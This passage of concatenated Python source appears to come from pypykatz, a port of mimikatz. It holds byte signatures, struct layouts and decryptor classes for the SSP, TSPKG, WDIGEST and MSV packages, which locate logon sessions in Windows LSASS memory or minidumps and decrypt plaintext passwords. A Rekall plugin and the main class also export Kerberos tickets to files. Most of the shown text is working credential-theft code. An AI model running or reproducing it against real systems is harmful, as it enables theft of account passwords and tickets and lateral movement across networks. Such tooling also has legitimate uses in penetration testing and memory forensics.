458 self.unk10 = PVOID(reader).value
459 self.unk11 = ULONG(reader).value
460 self.unk12 = ULONG(reader).value
461 self.unk13 = PVOID(reader).value
462 self.LocallyUniqueIdentifier = LUID(reader).value
463 self.SecondaryLocallyUniqueIdentifier = LUID(reader).value
464 self.waza = reader.read(12)
465 reader.align()
466 self.UserName = LSA_UNICODE_STRING(reader)
467 self.Domaine = LSA_UNICODE_STRING(reader)
468 self.unk14 = PVOID(reader).value
469 self.unk15 = PVOID(reader).value
470 self.pSid = PSID(reader)
471 self.LogonType = ULONG(reader).value
472 self.Session = ULONG(reader).value
473 reader.align(8)
474 self.LogonTime = int.from_bytes(reader.read(8), byteorder = 'little', signed = False) #autoalign x86
475 self.LogonServer = LSA_UNICODE_STRING(reader)
476 self.Credentials_list_ptr = PKIWI_MSV1_0_CREDENTIAL_LIST(reader)
477 self.unk19 = PVOID(reader).value
478 self.unk20 = PVOID(reader).value
479 self.unk21 = PVOID(reader).value
480 self.unk22 = ULONG(reader).value
481 reader.align()
482 self.CredentialManager = PVOID(reader)
483
484 class PKIWI_MSV1_0_LIST_62(POINTER):
485 def __init__(self, reader):
486 super().__init__(reader, KIWI_MSV1_0_LIST_62)
487
488 class KIWI_MSV1_0_LIST_62:
489 def __init__(self, reader):
490 self.Flink = PKIWI_MSV1_0_LIST_62(reader)
491 self.Blink = PKIWI_MSV1_0_LIST_62(reader)
492 self.unk0 = PVOID(reader).value
493 self.unk1 = ULONG(reader).value
494 reader.align()
495 self.unk2 = PVOID(reader).value
496 self.unk3 = ULONG(reader).value
497 self.unk4 = ULONG(reader).value
498 self.unk5 = ULONG(reader).value
499 reader.align()
500 self.hSemaphore6 = HANDLE(reader).value
501 self.unk7 = PVOID(reader).value
502 self.hSemaphore8 = HANDLE(reader).value
503 self.unk9 = PVOID(reader).value
504 self.unk10 = PVOID(reader).value
505 self.unk11 = ULONG(reader).value
506 self.unk12 = ULONG(reader).value
507 self.unk13 = PVOID(reader).value
508 self.LocallyUniqueIdentifier = LUID(reader).value
509 self.SecondaryLocallyUniqueIdentifier = LUID(reader).value
510 self.UserName = LSA_UNICODE_STRING(reader)
511 self.Domaine = LSA_UNICODE_STRING(reader)
512 self.unk14 = PVOID(reader).value
513 self.unk15 = PVOID(reader).value
514 self.Type = LSA_UNICODE_STRING(reader)
515 self.pSid = PSID(reader)
516 self.LogonType = ULONG(reader).value
517 reader.align()
518 self.unk18 = PVOID(reader).value
519 self.Session = ULONG(reader).value
520 reader.align()
521 self.LogonTime = int.from_bytes(reader.read(8), byteorder = 'little', signed = False) #autoalign x86
522 self.LogonServer = LSA_UNICODE_STRING(reader)
523 self.Credentials_list_ptr = PKIWI_MSV1_0_CREDENTIAL_LIST(reader)
524 self.unk19 = PVOID(reader).value
525 self.unk20 = PVOID(reader).value
526 self.unk21 = PVOID(reader).value
527 self.unk22 = ULONG(reader).value
528 self.unk23 = ULONG(reader).value
529 self.unk24 = ULONG(reader).value
530 self.unk25 = ULONG(reader).value
531 self.unk26 = ULONG(reader).value
532 reader.align()
533 self.unk27 = PVOID(reader).value
534 self.unk28 = PVOID(reader).value
535 self.unk29 = PVOID(reader).value
536 self.CredentialManager = PVOID(reader)
537
538 class PKIWI_MSV1_0_LIST_63(POINTER):
539 def __init__(self, reader):
540 super().__init__(reader, KIWI_MSV1_0_LIST_63)
541
542 class KIWI_MSV1_0_LIST_63:
543 def __init__(self, reader):
544 self.Flink = PKIWI_MSV1_0_LIST_63(reader)
545 self.Blink = PKIWI_MSV1_0_LIST_63(reader)
546 self.unk0 = PVOID(reader).value
547 self.unk1 = ULONG(reader).value
548 reader.align()
549 self.unk2 = PVOID(reader).value
550 self.unk3 = ULONG(reader).value
551 self.unk4 = ULONG(reader).value
552 self.unk5 = ULONG(reader).value
553 reader.align()
554 self.hSemaphore6 = HANDLE(reader).value
555 self.unk7 = PVOID(reader).value
556 self.hSemaphore8 = HANDLE(reader).value
557 self.unk9 = PVOID(reader).value
558 self.unk10 = PVOID(reader).value
559 self.unk11 = ULONG(reader).value
560 self.unk12 = ULONG(reader).value
561 self.unk13 = PVOID(reader).value
562 reader.align()
563 self.LocallyUniqueIdentifier = LUID(reader).value
564 self.SecondaryLocallyUniqueIdentifier = LUID(reader).value
565 self.waza = reader.read(12)
566 reader.align()
567 #
568 #print(hexdump(reader.peek(0x100)))
569 #input()
570 #
571 self.UserName = LSA_UNICODE_STRING(reader)
572 self.Domaine = LSA_UNICODE_STRING(reader)
573 self.unk14 = PVOID(reader).value
574 self.unk15 = PVOID(reader).value
575 self.Type = LSA_UNICODE_STRING(reader)
576 self.pSid = PSID(reader)
577 self.LogonType = ULONG(reader).value
578 reader.align()
579 self.unk18 = PVOID(reader).value
580 self.Session = ULONG(reader).value
581 reader.align(8)
582 self.LogonTime = int.from_bytes(reader.read(8), byteorder = 'little', signed = False) #autoalign x86
583 self.LogonServer = LSA_UNICODE_STRING(reader)
584 self.Credentials_list_ptr = PKIWI_MSV1_0_CREDENTIAL_LIST(reader)
585 self.unk19 = PVOID(reader).value
586 self.unk20 = PVOID(reader).value
587 self.unk21 = PVOID(reader).value
588 self.unk22 = ULONG(reader).value
589 self.unk23 = ULONG(reader).value
590 self.unk24 = ULONG(reader).value
591 self.unk25 = ULONG(reader).value
592 self.unk26 = ULONG(reader).value
593 reader.align()
594 #input('CredentialManager\n' + hexdump(reader.peek(0x100)))
595 self.unk27 = PVOID(reader).value
596 self.unk28 = PVOID(reader).value
597 self.unk29 = PVOID(reader).value
598 self.CredentialManager = PVOID(reader)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6
7 import json
8 from pypykatz.lsadecryptor.package_commons import PackageDecryptor
9
10 class SspCredential:
11 def __init__(self):
12 self.credtype = 'ssp'
13 self.username = None
14 self.domainname = None
15 self.password = None
16 self.luid = None
17
18 def to_dict(self):
19 t = {}
20 t['credtype'] = self.credtype
21 t['username'] = self.username
22 t['domainname'] = self.domainname
23 t['password'] = self.password
24 t['luid'] = self.luid
25 return t
26
27 def to_json(self):
28 return json.dumps(self.to_dict())
29
30 def __str__(self):
31 t = '\t== SSP [%x]==\n' % self.luid
32 t += '\t\tusername %s\n' % self.username
33 t += '\t\tdomainname %s\n' % self.domainname
34 t += '\t\tpassword %s\n' % self.password
35 return t
36
37 class SspDecryptor(PackageDecryptor):
38 def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo):
39 super().__init__('Ssp', lsa_decryptor, sysinfo, reader)
40 self.decryptor_template = decryptor_template
41 self.credentials = []
42
43 def find_first_entry(self):
44 position = self.find_signature('msv1_0.dll',self.decryptor_template.signature)
45 ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
46 ptr_entry = self.reader.get_ptr(ptr_entry_loc)
47 return ptr_entry, ptr_entry_loc
48
49 def add_entry(self, ssp_entry):
50 c = SspCredential()
51 c.luid = ssp_entry.LogonId
52 c.username = ssp_entry.credentials.UserName.read_string(self.reader)
53 c.domainname = ssp_entry.credentials.Domaine.read_string(self.reader)
54 if ssp_entry.credentials.Password.Length != 0:
55 c.password = self.decrypt_password(ssp_entry.credentials.Password.read_maxdata(self.reader))
56
57 self.credentials.append(c)
58
59 def start(self):
60 try:
61 entry_ptr_value, entry_ptr_loc = self.find_first_entry()
62 except Exception as e:
63 self.log('Failed to find structs! Reason: %s' % e)
64 return
65 self.reader.move(entry_ptr_loc)
66 entry_ptr = self.decryptor_template.list_entry(self.reader)
67 self.walk_list(entry_ptr, self.add_entry)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6
7 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild
8 from pypykatz.commons.win_datatypes import ULONG, LUID, KIWI_GENERIC_PRIMARY_CREDENTIAL, POINTER
9 from pypykatz.lsadecryptor.package_commons import PackageTemplate
10
11 class SspTemplate(PackageTemplate):
12 def __init__(self):
13 super().__init__('Ssp')
14 self.signature = None
15 self.first_entry_offset = None
16 self.list_entry = None
17
18 @staticmethod
19 def get_template(sysinfo):
20 template = SspTemplate()
21 template.list_entry = PKIWI_SSP_CREDENTIAL_LIST_ENTRY
22 template.log_template('list_entry', template.list_entry)
23
24 if sysinfo.architecture == KatzSystemArchitecture.X64:
25 if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
26 template.signature = b'\xc7\x43\x24\x43\x72\x64\x41\xff\x15'
27 template.first_entry_offset = 16
28
29 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
30 template.signature = b'\xc7\x47\x24\x43\x72\x64\x41\x48\x89\x47\x78\xff\x15'
31 template.first_entry_offset = 20
32
33 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1507.value:
34 template.signature = b'\x24\x43\x72\x64\x41\xff\x15'
35 template.first_entry_offset = 14
36
37 else:
38 #currently this doesnt make sense, but keeping it here for future use
39 raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber))
40
41
42 elif sysinfo.architecture == KatzSystemArchitecture.X86:
43 template.signature = b'\x1c\x43\x72\x64\x41\xff\x15'
44 template.first_entry_offset = 12
45
46 else:
47 raise Exception('Unknown architecture! %s' % sysinfo.architecture)
48
49
50 return template
51
52
53 class PKIWI_SSP_CREDENTIAL_LIST_ENTRY(POINTER):
54 def __init__(self, reader):
55 super().__init__(reader, KIWI_SSP_CREDENTIAL_LIST_ENTRY)
56
57 class KIWI_SSP_CREDENTIAL_LIST_ENTRY:
58 def __init__(self, reader):
59 self.Flink = PKIWI_SSP_CREDENTIAL_LIST_ENTRY(reader)
60 self.Blink = PKIWI_SSP_CREDENTIAL_LIST_ENTRY(reader)
61 self.References = ULONG(reader).value
62 self.CredentialReferences = ULONG(reader).value
63 self.LogonId = LUID(reader).value
64 self.unk0 = ULONG(reader).value
65 self.unk1 = ULONG(reader).value
66 self.unk2 = ULONG(reader).value
67 reader.align()
68 self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6 import json
7 from pypykatz import logger
8
9 from pypykatz.lsadecryptor.package_commons import PackageDecryptor
10 from pypykatz.commons.win_datatypes import PRTL_AVL_TABLE
11
12 class TspkgCredential:
13 def __init__(self):
14 self.credtype = 'tspkg'
15 self.username = None
16 self.domainname = None
17 self.password = None
18 self.luid = None
19
20 def to_dict(self):
21 t = {}
22 t['credtype'] = self.credtype
23 t['username'] = self.username
24 t['domainname'] = self.domainname
25 t['password'] = self.password
26 t['luid'] = self.luid
27 return t
28 def to_json(self):
29 return json.dumps(self.to_dict())
30
31 def __str__(self):
32 t = '\t== TSPKG [%x]==\n' % self.luid
33 t += '\t\tusername %s\n' % self.username
34 t += '\t\tdomainname %s\n' % self.domainname
35 t += '\t\tpassword %s\n' % self.password
36 return t
37
38 class TspkgDecryptor(PackageDecryptor):
39 def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo):
40 super().__init__('Tspkg', lsa_decryptor, sysinfo, reader)
41 self.decryptor_template = decryptor_template
42 self.credentials = []
43
44
45 def find_first_entry(self):
46 position = self.find_signature('TSpkg.dll',self.decryptor_template.signature)
47 ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.avl_offset)
48 ptr_entry = self.reader.get_ptr(ptr_entry_loc)
49 return ptr_entry, ptr_entry_loc
50
51 def start(self):
52 try:
53 entry_ptr_value, entry_ptr_loc = self.find_first_entry()
54 except Exception as e:
55 self.log('Failed to find structs! Reason: %s' % e)
56 return
57 result_ptr_list = []
58 self.reader.move(entry_ptr_value)
59 try:
60 start_node = PRTL_AVL_TABLE(self.reader).read(self.reader)
61 except Exception as e:
62 logger.error('Failed to prcess TSPKG package! Reason: %s' % e)
63 return
64 self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list)
65 for ptr in result_ptr_list:
66 self.log_ptr(ptr, self.decryptor_template.credential_struct.__name__)
67 self.reader.move(ptr)
68 credential_struct = self.decryptor_template.credential_struct(self.reader)
69 primary_credential = credential_struct.pTsPrimary.read(self.reader)
70 if not primary_credential is None:
71 c = TspkgCredential()
72 c.luid = credential_struct.LocallyUniqueIdentifier
73 #c.username = primary_credential.credentials.UserName.read_string(self.reader)
74 #c.domainname = primary_credential.credentials.Domaine.read_string(self.reader)
75 #### the above two lines will be switched, because it seems that username and domainname is always switched in this package.
76 #### reason is beyond me...
77
78 c.domainname = primary_credential.credentials.UserName.read_string(self.reader)
79 c.username = primary_credential.credentials.Domaine.read_string(self.reader)
80
81 if primary_credential.credentials.Password.Length != 0:
82 enc_data = primary_credential.credentials.Password.read_maxdata(self.reader)
83 c.password = self.decrypt_password(enc_data)
84
85 self.credentials.append(c)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 #import io
7 #from minidump.win_datatypes import *
8 from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild
9 from pypykatz.commons.win_datatypes import KIWI_GENERIC_PRIMARY_CREDENTIAL, POINTER, PVOID, LUID
10 from pypykatz.lsadecryptor.package_commons import PackageTemplate
11
12 class TspkgTemplate(PackageTemplate):
13 def __init__(self):
14 super().__init__('Tspkg')
15 self.signature = None
16 self.avl_offset = None
17 self.credential_struct = None
18
19 @staticmethod
20 def get_template(sysinfo):
21 template = TspkgTemplate()
22 if sysinfo.architecture == KatzSystemArchitecture.X64:
23 template.signature = b'\x48\x83\xec\x20\x48\x8d\x0d'
24 template.avl_offset = 7
25
26 if sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value:
27 template.credential_struct = KIWI_TS_CREDENTIAL_x64
28
29 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value:
30 template.credential_struct = KIWI_TS_CREDENTIAL_1607_x64
31
32 else:
33 #currently this doesnt make sense, but keeping it here for future use
34 raise Exception('Could not identify template! Architecture: %s Buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber))
35
36
37 elif sysinfo.architecture == KatzSystemArchitecture.X86:
38 if sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
39 template.signature = b'\x8b\xff\x55\x8b\xec\x51\x56\xbe'
40 template.avl_offset = 8
41 template.credential_struct = KIWI_TS_CREDENTIAL
42
43 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
44 template.signature = b'\x8b\xff\x53\xbb'
45 template.avl_offset = 4
46 template.credential_struct = KIWI_TS_CREDENTIAL
47
48 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value:
49 template.signature = b'\x8b\xff\x57\xbf'
50 template.avl_offset = 4
51 template.credential_struct = KIWI_TS_CREDENTIAL
52
53 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value:
54 template.signature = b'\x8b\xff\x57\xbf'
55 template.avl_offset = 4
56 template.credential_struct = KIWI_TS_CREDENTIAL_1607
57
58 else:
59 raise Exception('Unknown architecture! %s' % sysinfo.architecture)
60
61 template.log_template('credential_struct', template.credential_struct)
62
63 return template
64
65
66 class PKIWI_TS_PRIMARY_CREDENTIAL(POINTER):
67 def __init__(self, reader):
68 super().__init__(reader, KIWI_TS_PRIMARY_CREDENTIAL)
69
70 class KIWI_TS_PRIMARY_CREDENTIAL:
71 def __init__(self, reader):
72 self.unk0 = PVOID(reader) # // lock ?
73 self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader)
74
75
76 class KIWI_TS_CREDENTIAL:
77 def __init__(self, reader):
78 self.unk0 = reader.read(64)
79 self.LocallyUniqueIdentifier = LUID(reader).value
80 reader.align()
81 self.unk1 = PVOID(reader)
82 self.unk2 = PVOID(reader)
83 self.pTsPrimary = PKIWI_TS_PRIMARY_CREDENTIAL(reader)
84
85 class KIWI_TS_CREDENTIAL_x64:
86 def __init__(self, reader):
87 self.unk0 = reader.read(108)
88 self.LocallyUniqueIdentifier = LUID(reader).value
89 reader.align()
90 self.unk1 = PVOID(reader)
91 self.unk2 = PVOID(reader)
92 self.pTsPrimary = PKIWI_TS_PRIMARY_CREDENTIAL(reader)
93
94 class KIWI_TS_CREDENTIAL_1607:
95 def __init__(self, reader):
96 self.unk0 = reader.read(68)
97 self.LocallyUniqueIdentifier = LUID(reader).value
98 reader.align()
99 self.unk1 = PVOID(reader)
100 self.unk2 = PVOID(reader)
101 self.pTsPrimary = PKIWI_TS_PRIMARY_CREDENTIAL(reader)
102
103
104 class KIWI_TS_CREDENTIAL_1607_x64:
105 def __init__(self, reader):
106 self.unk0 = reader.read(112)
107 self.LocallyUniqueIdentifier = LUID(reader).value
108 reader.align()
109 self.unk1 = PVOID(reader)
110 self.unk2 = PVOID(reader)
111 self.pTsPrimary = PKIWI_TS_PRIMARY_CREDENTIAL(reader)
112
113
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6 import json
7
8 from pypykatz.lsadecryptor.package_commons import PackageDecryptor
9 from pypykatz.commons.win_datatypes import LSA_UNICODE_STRING
10
11 class WdigestCredential:
12 def __init__(self):
13 self.credtype = 'wdigest'
14 self.username = None
15 self.domainname = None
16 self.password = None
17 self.luid = None
18
19 def to_dict(self):
20 t = {}
21 t['credtype'] = self.credtype
22 t['username'] = self.username
23 t['domainname'] = self.domainname
24 t['password'] = self.password
25 t['luid'] = self.luid
26 return t
27 def to_json(self):
28 return json.dumps(self.to_dict())
29
30 def __str__(self):
31 t = '\t== WDIGEST [%x]==\n' % self.luid
32 t += '\t\tusername %s\n' % self.username
33 t += '\t\tdomainname %s\n' % self.domainname
34 t += '\t\tpassword %s\n' % self.password
35 return t
36
37 class WdigestDecryptor(PackageDecryptor):
38 def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo):
39 super().__init__('Wdigest', lsa_decryptor, sysinfo, reader)
40 self.decryptor_template = decryptor_template
41 self.credentials = []
42
43 def find_first_entry(self):
44 position = self.find_signature('wdigest.dll',self.decryptor_template.signature)
45 ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
46 ptr_entry = self.reader.get_ptr(ptr_entry_loc)
47 return ptr_entry, ptr_entry_loc
48
49 def add_entry(self, wdigest_entry):
50 """
51 Changed the wdigest parsing, the struct only contains the pointers in the linked list, the actual data is read by
52 adding an offset to the current entry's position
53 """
54 wc = WdigestCredential()
55 wc.luid = wdigest_entry.luid
56
57 #input(wdigest_entry.this_entry.value)
58 self.reader.move(wdigest_entry.this_entry.value + self.decryptor_template.primary_offset)
59 UserName = LSA_UNICODE_STRING(self.reader)
60 DomainName = LSA_UNICODE_STRING(self.reader)
61 Password = LSA_UNICODE_STRING(self.reader)
62
63 wc.username = UserName.read_string(self.reader)
64 wc.domainname = DomainName.read_string(self.reader)
65 wc.encrypted_password = Password.read_maxdata(self.reader)
66 wc.password = self.decrypt_password(wc.encrypted_password)
67
68
69 self.credentials.append(wc)
70
71 def start(self):
72 try:
73 entry_ptr_value, entry_ptr_loc = self.find_first_entry()
74 except Exception as e:
75 self.log('Failed to find Wdigest structs! Reason: %s' % e)
76 return
77 self.reader.move(entry_ptr_loc)
78 entry_ptr = self.decryptor_template.list_entry(self.reader)
79 self.walk_list(entry_ptr, self.add_entry)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 #import io
7 #from minidump.win_datatypes import *
8 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild
9 from pypykatz.commons.win_datatypes import LUID, ULONG, POINTER
10 from pypykatz.lsadecryptor.package_commons import PackageTemplate
11
12 class WdigestTemplate(PackageTemplate):
13 def __init__(self):
14 super().__init__('Wdigest')
15 self.signature = None
16 self.first_entry_offset = None
17 self.list_entry = None
18 self.primary_offset = None
19
20 @staticmethod
21 def get_template(sysinfo):
22 template = WdigestTemplate()
23
24 if sysinfo.architecture == KatzSystemArchitecture.X64:
25 if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value:
26 template.signature = b'\x48\x3b\xda\x74'
27 template.first_entry_offset = -4
28 template.primary_offset = 36
29 template.list_entry = PWdigestListEntry
30
31 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
32 template.signature = b'\x48\x3b\xda\x74'
33 template.first_entry_offset = -4
34 template.primary_offset = 48
35 template.list_entry = PWdigestListEntry
36
37 elif sysinfo.buildnumber >= WindowsMinBuild.WIN_VISTA.value:
38 template.signature = b'\x48\x3b\xd9\x74'
39 template.first_entry_offset = -4
40 template.primary_offset = 48
41 template.list_entry = PWdigestListEntry
42
43 else:
44 raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber))
45
46
47 elif sysinfo.architecture == KatzSystemArchitecture.X86:
48 if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value:
49 template.signature = b'\x74\x18\x8b\x4d\x08\x8b\x11'
50 template.first_entry_offset = -6
51 template.primary_offset = 36
52 template.list_entry = PWdigestListEntryNT5
53
54 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
55 template.signature = b'\x74\x18\x8b\x4d\x08\x8b\x11'
56 template.first_entry_offset = -6
57 template.primary_offset = 28
58 template.list_entry = PWdigestListEntryNT5
59
60 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
61 template.signature = b'\x74\x11\x8b\x0b\x39\x4e\x10'
62 template.first_entry_offset = -6
63 template.primary_offset = 32
64 template.list_entry = PWdigestListEntry
65
66 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_10.value:
67 template.signature = b'\x74\x15\x8b\x0a\x39\x4e\x10'
68 template.first_entry_offset = -4
69 template.primary_offset = 32
70 template.list_entry = PWdigestListEntry
71
72 elif sysinfo.buildnumber >= WindowsMinBuild.WIN_10.value:
73 template.signature = b'\x74\x15\x8b\x0a\x39\x4e\x10'
74 template.first_entry_offset = -6
75 template.primary_offset = 32
76 template.list_entry = PWdigestListEntry
77
78 else:
79 template.signature = b'\x74\x15\x8b\x17\x39\x56\x10'
80 template.first_entry_offset = -6
81 template.primary_offset = 32
82 template.list_entry = PWdigestListEntry
83
84 else:
85 raise Exception('Unknown architecture! %s' % sysinfo.architecture)
86
87 template.log_template('list_entry', template.list_entry)
88 return template
89
90
91 class PWdigestListEntry(POINTER):
92 def __init__(self, reader):
93 super().__init__(reader, WdigestListEntry)
94
95 class PWdigestListEntryNT5(POINTER):
96 def __init__(self, reader):
97 super().__init__(reader, WdigestListEntryNT5)
98
99 class WdigestListEntryNT5:
100 def __init__(self, reader):
101 self.Flink = PWdigestListEntryNT5(reader)
102 self.Blink = PWdigestListEntryNT5(reader)
103 self.this_entry = PWdigestListEntryNT5(reader)
104 self.usage_count = ULONG(reader)
105 reader.align() #8?
106 self.luid = LUID(reader).value
107
108
109 class WdigestListEntry:
110 def __init__(self, reader):
111 self.Flink = PWdigestListEntry(reader)
112 self.Blink = PWdigestListEntry(reader)
113 self.usage_count = ULONG(reader)
114 reader.align() #8?
115 self.this_entry = PWdigestListEntry(reader)
116 self.luid = LUID(reader).value
0 #from builtins import str
1 __author__ = ("Tamas Jos <[email protected]>")
2
3 from pypykatz.pypykatz import pypykatz
4 from pypykatz.commons.readers.rekall.rekallreader import RekallReader
5 from pypykatz.commons.common import *
6 import json
7 import ntpath
8 import os
9
10 from rekall.plugins.windows import common
11
12
13 class Pypykatz(common.WindowsCommandPlugin):
14 """Extract and decrypt passwords from the LSA Security Service."""
15 """
16 IMPORTANT: Using the default viewer on rekall will NOT show you all the info!!!
17 Recommendation: Use the out_file and kerberos_dir flags to get all the juicy stuff
18 """
19
20 __name = "pypykatz"
21
22 __args = [
23 dict(name="override_timestamp", type="int", required=False,
24 help="The msv dll file timestamp detection fails in some cases."),
25
26 dict(name="out_file", required=False,
27 help="The file name to write."),
28
29 dict(name="kerberos_dir", required=False,
30 help="The file name to write."),
31
32 dict(name="json", required=False, type="bool",
33 help="Write credentials to file in JSON format"),
34
35 ]
36
37 table_header = [
38 dict(name='LUID', width=6),
39 dict(name='Type', width=8),
40 dict(name='Sess', width=2),
41 dict(name='SID', width=20),
42 dict(name='Module', width=7),
43 dict(name='Info', width=7),
44 dict(name='Domain', width=16),
45 dict(name='User', width=16),
46 dict(name='SType', width=9),
47 dict(name='Secret', width=80)
48 ]
49
50 def __init__(self, *args, **kwargs):
51 super(Pypykatz, self).__init__(*args, **kwargs)
52
53 def collect(self):
54 cc = self.session.plugins.cc()
55 mimi = pypykatz.go_rekall(self.session, self.plugin_args.override_timestamp)
56
57 if self.plugin_args.out_file and self.plugin_args.json:
58 self.session.logging.info('Dumping results to file in JSON format')
59 with open(self.plugin_args.out_file, 'w') as f:
60 json.dump(mimi, f, cls = UniversalEncoder, indent=4, sort_keys=True)
61
62
63 elif self.plugin_args.out_file:
64 self.session.logging.info('Dumping results to file')
65 with open(self.plugin_args.out_file, 'w') as f:
66 f.write('FILE: ======== MEMORY =======\n')
67
68 for luid in mimi.logon_sessions:
69 f.write('\n'+str(mimi.logon_sessions[luid]))
70
71 if len(mimi.orphaned_creds) > 0:
72 f.write('\n== Orphaned credentials ==\n')
73 for cred in mimi.orphaned_creds:
74 f.write(str(cred))
75
76 else:
77 self.session.logging.info('Dumping results')
78 for luid in mimi.logon_sessions:
79 for row in mimi.logon_sessions[luid].to_row():
80 yield row
81
82
83 if self.plugin_args.kerberos_dir:
84 directory = os.path.abspath(self.plugin_args.kerberos_dir)
85 self.session.logging.info('Writing kerberos tickets to %s' % directory)
86 base_filename = ntpath.basename('rekall_memory')
87 ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions
88 mimi.kerberos_ccache.to_file(os.path.join(directory, ccache_filename))
89 for luid in mimi.logon_sessions:
90 for kcred in mimi.logon_sessions[luid].kerberos_creds:
91 for ticket in kcred.tickets:
92 ticket.to_kirbi(directory)
93
94 for cred in mimi.orphaned_creds:
95 if cred.credtype == 'kerberos':
96 for ticket in cred.tickets:
97 ticket.to_kirbi(directory)
98 return
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import platform
7 import json
8
9 from pypykatz.commons.common import KatzSystemInfo
10 from pypykatz.lsadecryptor import CredmanTemplate, MsvTemplate, \
11 MsvDecryptor, WdigestTemplate, LsaTemplate, WdigestDecryptor, \
12 LiveSspTemplate, LiveSspDecryptor, SspDecryptor, SspTemplate, \
13 TspkgDecryptor, TspkgTemplate, KerberosTemplate, KerberosDecryptor, \
14 DpapiTemplate, DpapiDecryptor, LsaDecryptor
15
16 from pypykatz import logger
17 from pypykatz.commons.common import UniversalEncoder
18 from minidump.minidumpfile import MinidumpFile
19 from minikerberos.common.ccache import CCACHE
20 from pypykatz._version import __version__
21
22 class pypykatz:
23 def __init__(self, reader, sysinfo):
24 self.reader = reader
25 self.sysinfo = sysinfo
26 self.credentials = []
27 self.architecture = None
28 self.operating_system = None
29 self.buildnumber = None
30 self.lsa_decryptor = None
31
32 self.logon_sessions = {}
33 self.orphaned_creds = []
34 self.kerberos_ccache = CCACHE()
35
36 def to_dict(self):
37 t = {}
38 t['logon_sessions'] = {}
39 for ls in self.logon_sessions:
40 # print(ls)
41 t['logon_sessions'][ls] = (self.logon_sessions[ls].to_dict())
42 t['orphaned_creds'] = []
43 for oc in self.orphaned_creds:
44 t['orphaned_creds'].append(oc.to_dict())
45 return t
46
47 def to_json(self):
48 return json.dumps(self.to_dict(), cls = UniversalEncoder)
49
50 @staticmethod
51 def go_live():
52 if platform.system() != 'Windows':
53 raise Exception('Live parsing will only work on Windows')
54 from pypykatz.commons.readers.local.live_reader import LiveReader
55 reader = LiveReader()
56 sysinfo = KatzSystemInfo.from_live_reader(reader)
57 mimi = pypykatz(reader.get_buffered_reader(), sysinfo)
58 mimi.start()
59 return mimi
60
61 @staticmethod
62 def parse_minidump_file(filename):
63 try:
64 minidump = MinidumpFile.parse(filename)
65 reader = minidump.get_reader().get_buffered_reader()
66 sysinfo = KatzSystemInfo.from_minidump(minidump)
67 except Exception as e:
68 logger.exception('Minidump parsing error!')
69 raise e
70 try:
71 mimi = pypykatz(reader, sysinfo)
72 mimi.start()
73 except Exception as e:
74 #logger.info('Credentials parsing error!')
75 mimi.log_basic_info()
76 raise e
77 return mimi
78
79 @staticmethod
80 def parse_minidump_bytes(data):
81 """
82 Parses LSASS minidump file bytes.
83 data needs to be bytearray
84 """
85 minidump = MinidumpFile.parse_bytes(data)
86 reader = minidump.get_reader().get_buffered_reader()
87 sysinfo = KatzSystemInfo.from_minidump(minidump)
88 mimi = pypykatz(reader, sysinfo)
89 mimi.start()
90 return mimi
91
92 @staticmethod
93 def parse_minidump_external(handle):
94 """
95 Parses LSASS minidump file based on the file object.
96 File object can really be any object as longs as
97 it implements read, seek, tell functions with the
98 same parameters as a file object would.
99
100 handle: file like object
101 """
102 minidump = MinidumpFile.parse_external(handle)
103 reader = minidump.get_reader().get_buffered_reader()
104 sysinfo = KatzSystemInfo.from_minidump(minidump)
105 mimi = pypykatz(reader, sysinfo)
106 mimi.start()
107 return mimi
108
109 @staticmethod
110 def parse_minidump_buffer(buff):
111 """
112 Parses LSASS minidump file which contents are in a bytes buffer
